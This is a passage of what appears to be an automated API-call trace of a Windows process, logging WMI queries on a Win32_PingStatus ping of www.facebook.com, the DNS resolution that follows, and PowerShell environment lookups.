This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.633] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.633] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.633] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22da924*=0, plFlavor=0x22da928*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22da924*=8, plFlavor=0x22da928*=64) returned 0x0 [0140.633] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.633] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.633] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22da924*=8, plFlavor=0x22da928*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22da924*=8, plFlavor=0x22da928*=64) returned 0x0 [0140.633] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.633] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.633] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.633] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.633] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22daa80*=0, plFlavor=0x22daa84*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22daa80*=8200, plFlavor=0x22daa84*=64) returned 0x0 [0140.634] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22daa80*=8200, plFlavor=0x22daa84*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22daa80*=8200, plFlavor=0x22daa84*=64) returned 0x0 [0140.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.634] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.634] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.634] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dace8*=0, plFlavor=0x22dacec*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22dace8*=8, plFlavor=0x22dacec*=64) returned 0x0 [0140.634] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.634] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.634] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dace8*=8, plFlavor=0x22dacec*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22dace8*=8, plFlavor=0x22dacec*=64) returned 0x0 [0140.635] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.635] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0140.635] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0140.635] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.635] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dae10*=0, plFlavor=0x22dae14*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22dae10*=8200, plFlavor=0x22dae14*=64) returned 0x0 [0140.635] IWbemClassObject:Get (in: This=0x5c50300, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dae10*=8200, plFlavor=0x22dae14*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22dae10*=8200, plFlavor=0x22dae14*=64) returned 0x0 [0140.635] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0140.635] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0140.635] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0140.636] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0140.636] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.636] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0140.636] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.636] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.636] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0140.636] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.636] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.636] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.636] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.636] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.636] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.636] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.636] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.636] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.636] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.636] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.637] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.637] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.637] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.637] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.637] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.637] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.637] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.637] SysStringByteLen (bstr="__PATH") returned 0xc [0140.637] SysStringByteLen (bstr="__PATH") returned 0xc [0140.637] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db64c*=0, plFlavor=0x22db650*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22db64c*=3, plFlavor=0x22db650*=64) returned 0x0 [0140.637] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db680*=0, plFlavor=0x22db684*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22db680*=8, plFlavor=0x22db684*=64) returned 0x0 [0140.637] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.637] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.638] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db6d8*=0, plFlavor=0x22db6dc*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db6d8*=8, plFlavor=0x22db6dc*=64) returned 0x0 [0140.638] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db700*=0, plFlavor=0x22db704*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22db700*=8, plFlavor=0x22db704*=64) returned 0x0 [0140.638] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.638] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.638] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db758*=0, plFlavor=0x22db75c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22db758*=8, plFlavor=0x22db75c*=64) returned 0x0 [0140.638] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.638] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.638] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db938*=0, plFlavor=0x22db93c*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22db938*=3, plFlavor=0x22db93c*=64) returned 0x0 [0140.639] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db96c*=0, plFlavor=0x22db970*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22db96c*=8200, plFlavor=0x22db970*=64) returned 0x0 [0140.639] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db9a0*=0, plFlavor=0x22db9a4*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22db9a0*=8, plFlavor=0x22db9a4*=64) returned 0x0 [0140.639] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.639] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.639] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22db9ec*=0, plFlavor=0x22db9f0*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22db9ec*=8, plFlavor=0x22db9f0*=64) returned 0x0 [0140.639] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.639] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.640] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dba38*=0, plFlavor=0x22dba3c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22dba38*=8, plFlavor=0x22dba3c*=64) returned 0x0 [0140.640] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.640] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.640] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0140.640] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0140.640] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.640] IWbemClassObject:Get (in: This=0x5c50300, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dbc74*=0, plFlavor=0x22dbc78*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22dbc74*=8, plFlavor=0x22dbc78*=0) returned 0x0 [0140.640] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.640] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.640] IWbemClassObject:Get (in: This=0x5c50300, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22dbc74*=8, plFlavor=0x22dbc78*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22dbc74*=8, plFlavor=0x22dbc78*=0) returned 0x0 [0140.640] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.640] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0140.641] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c87268*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c794d0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0140.643] FreeAddrInfoW (pAddrInfo=0x5c87268*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c794d0*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0140.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.644] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0140.644] EtwEventActivityIdControl () returned 0x0 [0140.644] EtwEventActivityIdControl () returned 0x0 [0140.644] EtwEventActivityIdControl () returned 0x0 [0140.645] EtwEventActivityIdControl () returned 0x0 [0140.645] EtwEventActivityIdControl () returned 0x0 [0140.645] EtwEventActivityIdControl () returned 0x0 [0140.646] EtwEventActivityIdControl () returned 0x0 [0140.646] EtwEventActivityIdControl () returned 0x0 [0140.646] EtwEventActivityIdControl () returned 0x0 [0140.646] EtwEventActivityIdControl () returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.646] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.646] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0140.647] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.647] SafeArrayGetDim (psa=0x5c78d88) returned 0x1 [0140.647] SafeArrayGetLBound (in: psa=0x5c78d88, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0140.647] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.647] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.647] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.647] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.647] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.647] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.647] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.647] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.647] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.647] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.647] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.647] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.647] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.647] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.647] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.647] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.648] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.648] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.648] SysStringByteLen (bstr="__PATH") returned 0xc [0140.648] SysStringByteLen (bstr="__PATH") returned 0xc [0140.648] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e506c*=0, plFlavor=0x22e5070*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e506c*=3, plFlavor=0x22e5070*=64) returned 0x0 [0140.648] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e50a0*=0, plFlavor=0x22e50a4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e50a0*=8, plFlavor=0x22e50a4*=64) returned 0x0 [0140.648] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.648] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.648] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e50f8*=0, plFlavor=0x22e50fc*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e50f8*=8, plFlavor=0x22e50fc*=64) returned 0x0 [0140.648] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5120*=0, plFlavor=0x22e5124*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e5120*=8, plFlavor=0x22e5124*=64) returned 0x0 [0140.648] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.648] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.649] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5178*=0, plFlavor=0x22e517c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e5178*=8, plFlavor=0x22e517c*=64) returned 0x0 [0140.649] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.649] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.649] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5358*=0, plFlavor=0x22e535c*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e5358*=3, plFlavor=0x22e535c*=64) returned 0x0 [0140.649] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e538c*=0, plFlavor=0x22e5390*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 